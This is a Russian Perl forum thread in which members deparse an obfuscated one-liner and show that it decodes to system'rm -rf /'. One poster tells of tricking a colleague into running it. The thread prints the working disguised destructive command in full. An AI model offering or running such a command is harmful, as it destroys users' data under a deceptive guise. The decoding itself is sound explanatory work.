Модераторы: korob2001, ginnie
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> помогите разобрать однострочник 
V
    Опции темы
fantome
Дата 1.12.2007, 07:22 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 77
Регистрация: 5.2.2007

Репутация: 1
Всего: 1



есть вот такой однострочник
Код

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'


по сути это законспирированный 
Цитата
rm -R -f /


Помогите понять как оно работает... 
PM MAIL   Вверх
arto
Дата 1.12.2007, 08:17 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Завсегдатай
Сообщений: 1495
Регистрация: 31.10.2004

Репутация: 38
Всего: 40



# perl -MO=Deparse -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
$? ? s/;s/s;;$?/ : s//=]=>%-{<-|}<&|`{/;
tr( -/:-@[-`{-})[`-{/" \-];
s//$_;/see;
-e syntax OK
#

затем просто проверять, что каждое выражение производит
PM MAIL ICQ   Вверх
amg
Дата 1.12.2007, 11:24 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Завсегдатай
Сообщений: 1145
Регистрация: 3.8.2006
Где: Новосибирск

Репутация: 38
Всего: 50



По сути, там все просто. Первое, что надо сделать - воспользоваться советом arto, чтобы немного упростить задачу. Итак, имеем три строки.

$? ? s/;s/s;;$?/ : s//=]=>%-{<-|}<&|`{/; или 
if ($?) { $_ =~ s/;s/s;;$?/ } else { $_ =~ s//=]=>%-{<-|}<&|`{/ }
$? тут непричем, она будет 0, и исполнится вторая часть, которая запишет в $_ строку =>%-{<-|}<&|`{.

tr( -/:-@[-`{-})[`-{/" \-];
Здесь основная хитрость, заключающаяся в том, что при перечислении символов, которые tr будет менять, используются интервалы символов. Раскроем их:
perl -le 'print map {chr} ord(" ")..ord("-")'
...
perl -le 'print map {chr} ord("`")..ord("{")'

Получим 
$_ =~ tr( !"#$%&'()*+,-./:;<=>?@[\]^_`{|})
        [`abcdefghijklmnopqrstuvwxyz{/"\-];

После выполнения такого tr $_ превратится в system"rm -rf /"

s//$_;/see;
Тут все ясно. Пустая строка (ищущая часть оператора s///) всегда подойдет, и вторая часть исполнится (опция e)

PM MAIL   Вверх
vadiml
Дата 1.12.2007, 18:16 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 310
Регистрация: 27.7.2007

Репутация: 5
Всего: 7



на ЛОРе нашли? smile
PM MAIL Jabber   Вверх
amg
Дата 2.12.2007, 10:46 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Завсегдатай
Сообщений: 1145
Регистрация: 3.8.2006
Где: Новосибирск

Репутация: 38
Всего: 50



Цитата(vadiml @ 1.12.2007,  18:16)
на ЛОРе нашли? smile

Если вопрос ко мне, то нет. В этом однострочнике ничего хитрого, несмотря на пугающий вид. Надо только депарсить его, а потом методично разбирать.

Вот, по-моему, высший пилотаж:
Код

#Помещает в $line случайную строку файла, не загружая при этом весь файл в память
rand($.)<1 && ($line = $_) while <>;

ЗЫ Это я не сам придумал
PM MAIL   Вверх
Anarki
Дата 2.12.2007, 11:19 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 326
Регистрация: 14.3.2005

Репутация: 1
Всего: 11



Цитата(amg @ 2.12.2007,  13:46)
Вот, по-моему, высший пилотаж:
Код

#Помещает в $line случайную строку файла, не загружая при этом весь файл в память
rand($.)<1 && ($line = $_) while <>;

ЗЫ Это я не сам придумал

Ага, это из Perl Cookbook. На самом деле ничего такого.  smile 


--------------------
PM WWW   Вверх
vadiml
Дата 2.12.2007, 18:42 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 310
Регистрация: 27.7.2007

Репутация: 5
Всего: 7



я задавал вопрос где нашли однострочник, а не его разбор
на ЛОРе когда-то была тема: http://www.linux.org.ru/view-message.jsp?msgid=392747

типа "запустил сам -- дай запустить другому"

Добавлено через 6 минут и 39 секунд
к сожалению сейчас топик сильно порезан, но когда только появился ...
PM MAIL Jabber   Вверх
fantome
Дата 9.12.2007, 03:47 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 77
Регистрация: 5.2.2007

Репутация: 1
Всего: 1



vadiml, да, нашел там. А что?

мне было интересно как он работает. Спасибо всем, кто помог мне его разобрать. 
Извините, что так долго не отписывался - работа....
PM MAIL   Вверх
pompei
Дата 11.12.2007, 07:28 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 155
Регистрация: 7.9.2007

Репутация: 2
Всего: 6



О! Нифига рулез. Спасибо за расшифровку. А я думал что это какой-то особый сжатый сиснтаксис перла, и никак не мог найти по нём документацию.

ЗЫ. Мне однажды друг попросил разобраться, а то у него, типа, не получается (под просточка прикинулся).
Ну я по доброте душевной взял и запустил.... хорошо что я привык работать под своим пользователем, а не под рутом.... пока скрипт бегал по /dev я успел нажать на Ctrl+C. Ни чё не стёрлось. Мы потом так прикололись над одним сотрудником, который постоянно сидел под рутом и игнорировал все наши доводы по поводу безопасности.... ))))))))).... он потом весь день переустанавливал свой комп и покрывал нас трёхэтажными матами, но с рута так и не слез, паразит.

  smile   smile  smile  smile  smile  smile  smile  smile  smile 
--------------------
А всё оказывается гораздо проще: пассивные наноструктуры - активные наноструктуры - системы наносистем - молекулярные наносистемы - сингулярность! По пять лет на каждый этап.
PM MAIL   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Perl"
korob2001
sharq
  • В этом разделе обсуждаются общие вопросы по языку Perl
  • Если ваш вопрос относится к системному программированию, задавайте его здесь
  • Если ваш вопрос относится к CGI программированию, задавайте его здесь
  • Интерпретатор Perl можно скачать здесь ActiveState, O'REILLY, The source for Perl
  • Справочное руководство "Установка perl-модулей", можно скачать здесь


Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, korob2001, sharq.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Perl: Общие вопросы | Следующая тема »


 




[ Время генерации скрипта: 0.0715 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.